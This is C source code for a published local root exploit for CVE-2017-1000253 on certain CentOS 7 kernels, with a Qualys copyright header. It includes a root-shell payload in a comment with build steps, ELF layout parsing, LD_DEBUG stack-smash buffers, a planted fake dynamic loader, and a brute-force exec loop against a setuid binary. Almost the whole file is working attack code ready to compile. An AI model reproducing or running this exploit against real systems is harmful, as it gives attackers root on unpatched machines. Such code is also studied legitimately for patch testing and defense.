/* * CVE-2017-1000253.c - an exploit for CentOS-7 kernel versions * 3.10.0-514.21.2.el7.x86_64 and 3.10.0-514.26.1.el7.x86_64 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ /** cat > rootshell.c << "EOF" #define _GNU_SOURCE #include #include #include #include #include #define die() exit(__LINE__) static void __attribute__ ((constructor)) status(void) { if (dup2(STDIN_FILENO, STDOUT_FILENO) != STDOUT_FILENO) die(); if (dup2(STDIN_FILENO, STDERR_FILENO) != STDERR_FILENO) die(); const pid_t pid = getpid(); if (pid <= 0) die(); printf("Pid:\t%zu\n", (size_t)pid); uid_t ruid, euid, suid; gid_t rgid, egid, sgid; if (getresuid(&ruid, &euid, &suid)) die(); if (getresgid(&rgid, &egid, &sgid)) die(); printf("Uid:\t%zu\t%zu\t%zu\n", (size_t)ruid, (size_t)euid, (size_t)suid); printf("Gid:\t%zu\t%zu\t%zu\n", (size_t)rgid, (size_t)egid, (size_t)sgid); static struct __user_cap_header_struct header; if (capget(&header, NULL)) die(); if (header.version <= 0) die(); header.pid = pid; static struct __user_cap_data_struct data[2]; if (capget(&header, data)) die(); printf("CapInh:\t%08x%08x\n", data[1].inheritable, data[0].inheritable); printf("CapPrm:\t%08x%08x\n", data[1].permitted, data[0].permitted); printf("CapEff:\t%08x%08x\n", data[1].effective, data[0].effective); fflush(stdout); for (;;) sleep(10); die(); } EOF gcc -fpic -shared -nostartfiles -Os -s -o rootshell rootshell.c xxd -i rootshell > rootshell.h **/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define mempset(_s, _c, _n) (memset((_s), (_c), (_n)) + (_n)) #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define SUB_STACK_RAND ((size_t)8192) #define SAFE_STACK_SIZE ((size_t)24<<10) #define MAX_ARG_STRLEN ((size_t)128<<10) #define INIT_STACK_EXP (131072UL) #define STACK_GUARD_GAP (1UL<<20) #define MIN_GAP (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) #define LDSO "/lib64/ld-linux-x86-64.so.2" #define LDSO_OFFSET ((size_t)0x238) #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { uintptr_t rx_start, rx_end; uintptr_t rw_start, rw_end; uintptr_t dynamic_start; uintptr_t data_start; }; static struct elf_info get_elf_info(const char * const binary) { struct elf_info elf; memset(&elf, 0, sizeof(elf)); const int fd = open(binary, O_RDONLY); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= LDSO_OFFSET + sizeof(LDSO)) die(); if (memcmp(buf + LDSO_OFFSET, LDSO, sizeof(LDSO))) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN) die(); if (ehdr->e_machine != EM_X86_64) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != 2 * STACK_GUARD_GAP) die(); const uintptr_t start = phdr->p_vaddr & ~(PAGESZ-1); const uintptr_t end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (elf.rw_end) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (elf.rx_end) die(); if (phdr->p_vaddr) die(); elf.rx_start = start; elf.rx_end = end; break; case PF_R | PF_W: if (!elf.rx_end) die(); if (start <= elf.rx_end) die(); elf.rw_start = start; elf.rw_end = end; break; default: die(); } } if (!elf.rx_end) die(); if (!elf.rw_end) die(); uintptr_t _dynamic = 0; uintptr_t _data = 0; uintptr_t _bss = 0; for (i = 0; i < ehdr->e_shnum; i++) { const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i; if (!(shdr->sh_flags & SHF_ALLOC)) continue; if (shdr->sh_addr <= 0 || shdr->sh_addr >= SAFESZ) die(); if (shdr->sh_size <= 0 || shdr->sh_size >= SAFESZ) die(); #undef SAFESZ const uintptr_t start = shdr->sh_addr; const uintptr_t end = start + shdr->sh_size; if (!(shdr->sh_flags & SHF_WRITE)) { if (start < elf.rw_end && end > elf.rw_start) die(); continue; } if (start < elf.rw_start || end > elf.rw_end) die(); if (_bss) die(); switch (shdr->sh_type) { case SHT_PROGBITS: if (start <= _data) die(); _data = start; break; case SHT_NOBITS: if (!_data) die(); _bss = start; break; case SHT_DYNAMIC: if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die(); if (_dynamic) die(); _dynamic = start; /* fall through */ default: _data = 0; break; } } elf.dynamic_start = _dynamic; elf.data_start = _data; if (!_dynamic) die(); if (!_data) die(); if (!_bss) die(); free(buf); return elf; } int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); { const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); if (strcmp(platform, "x86_64")) die(); } if (my_argc != 2) { printf("Usage: %s binary\n", my_argv[0]); die(); } const char * const binary = realpath(my_argv[1], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf = get_elf_info(binary); if (elf.rx_start) die(); if (sizeof(ElfW(Dyn)) != STACK_ALIGN) die(); if (elf.dynamic_start % STACK_ALIGN != STACK_ALIGN / 2) die(); const uintptr_t arg_start = elf.rx_end + 2 * STACK_GUARD_GAP + INIT_STACK_EXP + PAGESZ-1; if (arg_start >= elf.rw_end) die(); const size_t argv_size = (arg_start - elf.data_start) - (SAFE_STACK_SIZE + 8*8+22*2*8+16+4*STACK_ALIGN + SUB_STACK_RAND); printf("argv_size %zu\n", argv_size); if (argv_size >= arg_start) die(); const size_t arg0_size = elf.rw_end - arg_start; if (arg0_size % PAGESZ != 1) die(); const size_t npads = argv_size / sizeof(char *); if (npads <= arg0_size) die(); const size_t smash_size = (elf.data_start - elf.rw_start) + SAFE_STACK_SIZE + SUB_STACK_RAND; if (smash_size >= (elf.rw_start - elf.rx_end) - STACK_GUARD_GAP) die(); if (smash_size + 1024 >= MAX_ARG_STRLEN) die(); printf("smash_size %zu\n", smash_size); const size_t hi_smash_size = (SAFE_STACK_SIZE * 3 / 4) & ~(STACK_ALIGN-1); printf("hi_smash_size %zu\n", hi_smash_size); if (hi_smash_size <= STACK_ALIGN) die(); if (hi_smash_size >= smash_size) die(); const size_t lo_smash_size = (smash_size - hi_smash_size) & ~(STACK_ALIGN-1); printf("lo_smash_size %zu\n", lo_smash_size); if (lo_smash_size <= STACK_ALIGN) die(); #define LD_DEBUG_ "LD_DEBUG=" static char foreground[MAX_ARG_STRLEN]; { char * cp = stpcpy(foreground, LD_DEBUG_); cp = mempset(cp, 'A', hi_smash_size - 16); cp = mempset(cp, ' ', 1); cp = mempset(cp, 'A', 24); cp = mempset(cp, ' ', 1); cp = mempset(cp, 'A', 1); cp = mempset(cp, ' ', DT_SYMTAB + 16 - (24+1 + 1 + DT_NEEDED) % 16); cp = mempset(cp, 'A', 80); cp = mempset(cp, ' ', 16); cp = mempset(cp, 'A', 31); cp = mempset(cp, ' ', 1); cp = mempset(cp, 'A', 1); cp = mempset(cp, ' ', DT_NEEDED + 16 - (31+1 + 1 + DT_STRTAB) % 16); cp = mempset(cp, 'A', 80); cp = mempset(cp, ' ', 16); cp = mempset(cp, 'A', 31); cp = mempset(cp, ' ', 1); cp = mempset(cp, 'A', 1); cp = mempset(cp, ' ', DT_STRTAB + 16 - (31+1 + 1 + 1 + strlen(binary)+1 + sizeof(void *)) % 16); cp = mempset(cp, 'A', lo_smash_size - 16); if (cp >= foreground + sizeof(foreground)) die(); if (cp <= foreground) die(); if (*cp) die(); if (strlen(foreground) != (size_t)(cp - foreground)) die(); } static char background[MAX_ARG_STRLEN]; { char * cp = stpcpy(background, LD_DEBUG_); cp = mempset(cp, 'L', lo_smash_size); size_t i; for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) { const uint64_t strtab = 0x8888888888888888UL + 0; cp = mempcpy(cp, &strtab, sizeof(uint64_t)); } for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) { const uint64_t needed = 0x7777777777777778UL + LDSO_OFFSET+1; cp = mempcpy(cp, &needed, sizeof(uint64_t)); } cp = mempset(cp, 'H', 32 + 48 + hi_smash_size - 16); if (cp >= background + sizeof(background)) die(); if (cp <= background) die(); if (*cp) die(); if (strlen(background) != (size_t)(cp - background)) die(); if (strlen(background) != strcspn(background, " ,:")) die(); } static char pad[MAX_ARG_STRLEN]; memset(pad, ' ', sizeof(pad)-1); if (pad[sizeof(pad)-1]) die(); if (strlen(pad) != sizeof(pad)-1) die(); if (sizeof(pad) % STACK_ALIGN) die(); { double probability = npads * sizeof(pad) - (128<<20); probability *= probability / 2; probability /= (16UL<<30); probability /= ( 1UL<<40); printf("probability 1/%zu\n", (size_t)(1 / probability)); } static char arg0[MAX_ARG_STRLEN]; if (arg0_size >= sizeof(arg0)) die(); if (arg0_size <= 0) die(); memset(arg0, ' ', arg0_size-1); static char arg2[MAX_ARG_STRLEN]; const size_t nargs = 3 + npads - (arg0_size-1); char ** const argv = calloc(nargs + 1, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = arg0; *ap++ = "--help"; *ap++ = arg2; size_t n; for (n = ap - argv; n < nargs; n++) { *ap++ = pad; } if (ap != argv + nargs) die(); if (*ap) die(); } const size_t nenvs = 2 + arg0_size-1; char ** const envp = calloc(nenvs + 1, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = background; *ep++ = foreground; size_t n; for (n = ep - envp; n < nenvs; n++) { *ep++ = pad; } if (ep != envp + nenvs) die(); if (*ep) die(); } { size_t len = strlen(binary)+1 + sizeof(void *); char * const * const __strpp[] = { argv, envp, NULL }; char * const * const * strpp; for (strpp = __strpp; *strpp; strpp++) { char * const * strp; for (strp = *strpp; *strp; strp++) { len += strlen(*strp) + 1; } } len = 1 + PAGESZ - len % PAGESZ; memset(arg2, ' ', len); } { if (npads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die(); const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } const int dev_null = open("/dev/null", O_WRONLY); if (dev_null <= -1) die(); { static char ldso[] = "." LDSO; char * const slash = strrchr(ldso, '/'); if (!slash) die(); *slash = '\0'; mkdir(ldso, 0755); *slash = '/'; const int fd = open(ldso, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0755); if (fd <= -1) die(); static const #include "rootshell.h" if (write(fd, rootshell, rootshell_len) != (ssize_t)rootshell_len) die(); if (close(fd)) die(); } size_t try; for (try = 1; try; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(dev_null, STDOUT_FILENO) != STDOUT_FILENO) die(); if (dup2(dev_null, STDERR_FILENO) != STDERR_FILENO) die(); if (dev_null > STDERR_FILENO) if (close(dev_null)) die(); execve(binary, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGKILL: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }